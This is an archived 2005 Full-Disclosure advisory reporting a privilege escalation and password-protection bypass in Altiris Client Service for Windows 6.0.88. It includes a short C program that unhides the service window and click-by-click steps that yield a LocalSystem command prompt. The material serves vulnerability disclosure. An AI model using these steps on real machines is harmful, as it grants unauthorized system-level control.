full-disclosure - Privilege escalation and password protection bypass in Altiris Client Service for Windows (Version 6.0.88)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <80115b69050427103426f5bfd5@mail.gmail.com>
Date: Thu Apr 28 00:19:57 2005
From: reedarvin at gmail.com (Reed Arvin)
Subject: Privilege escalation and password protection
	bypass in Altiris Client Service for Windows (Version 6.0.88)

Summary:
Privilege escalation and password protection bypass in Altiris Client
Service for Windows (Version 6.0.88)
(http://www.altiris.com/)

Details:
It is possible to manipulate the administrative interface of the
Altiris Client Service for Windows and escalate privileges to that of
the LocalSystem account.

When a password is set to protect the property pages of the Altiris
Client Service for Windows it is possible to bypass this and disable
the password protection feature.

Vulnerable Versions:
Altiris Client Service for Windows (Version 6.0.88)

Patches/Workarounds:
The vendor was notified of the issue. There was no response.

Exploit:
Compile and run the following code to unhide the Altiris Client Service window:

===Start Code===
#include <stdio.h>
#include <windows.h>

int main( void )
{
	HWND hWnd;
	char szWindowName[] = "Altiris Client Service";

	printf( "Finding window %s\n", szWindowName );

	hWnd = FindWindow( NULL, szWindowName );

	if ( hWnd == NULL )
	{
		printf( "ERROR! Could not find window %s\n", szWindowName );

		exit( 1 );
	}

	ShowWindow( hWnd, SW_SHOW );

	return 0;
}
===End Code===

1. The Altiris Client Service window will appear. Click Properties.
2. Click the Security tab and uncheck the Password protect Admin
properties box and uncheck the Hide client tray icon box. At this
point you have affectively bypassed the AClient password protection.
3. Click OK.
4. Click Close.
5. The AClient tray icon will appear in the lower right of the screen.
 Right click and choose View Log File.
6. Notepad will appear (running under the context of the LocalSystem
account). Click File, click Open.
7. Change Files of type: to All Files, navigate to the system32
directory and locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the
LocalSystem account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)